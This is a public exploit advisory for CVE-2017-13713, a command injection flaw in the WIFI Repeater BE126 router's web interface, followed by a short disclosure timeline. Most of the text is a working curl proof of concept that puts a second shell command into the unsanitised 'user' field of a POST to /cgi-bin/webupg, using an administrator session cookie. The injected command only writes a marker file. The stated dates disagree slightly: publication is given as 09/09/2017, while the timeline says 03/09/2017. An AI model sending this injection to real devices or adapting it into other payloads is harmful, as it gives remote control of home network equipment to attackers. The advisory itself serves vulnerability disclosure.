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33 lines
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# Exploit Title: WIFI Repeater BE126 – Remote Code Execution
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# Date Publish: 09/09/2017
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# Exploit Authors: Hay Mizrachi, Omer Kaspi
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# Contact: haymizrachi@gmail.com, komerk0@gmail.com
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# Vendor Homepage: http://www.twsz.com
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# Category: Webapps
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# Version: 1.0
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# Tested on: Windows/Ubuntu 16.04
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# CVE: CVE-2017-13713
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1 - Description:
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HTTP POST request that contains user parmater which can give us to run
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Remote Code Execution to the device.
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The parameter is not sanitized at all, which cause him to be vulnerable.
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2 - Proof of Concept:
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curl -d "name=HTTP&url="http://www.test.com&user=;echo hacked!! >
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/var/mycode;&password=a&port=8&dir=a"
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--cookie "Cookie: sessionsid=XXXXX; auth=ok expires=Sun, 15-May-2112
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01:45:46 GMT; langmanulset=yes;
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sys_UserName=admin; expires=Mon, 31-Jan-2112 16:00:00 GMT; language=en_us"
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-X POST http://beconnected.client/cgi-bin/webupg
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3 - Timeline:
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29/4/2017 – Vulnerability Discovered.
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29/4/2017 - Vendor not responding.
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03/09/2017 – Exploit published. |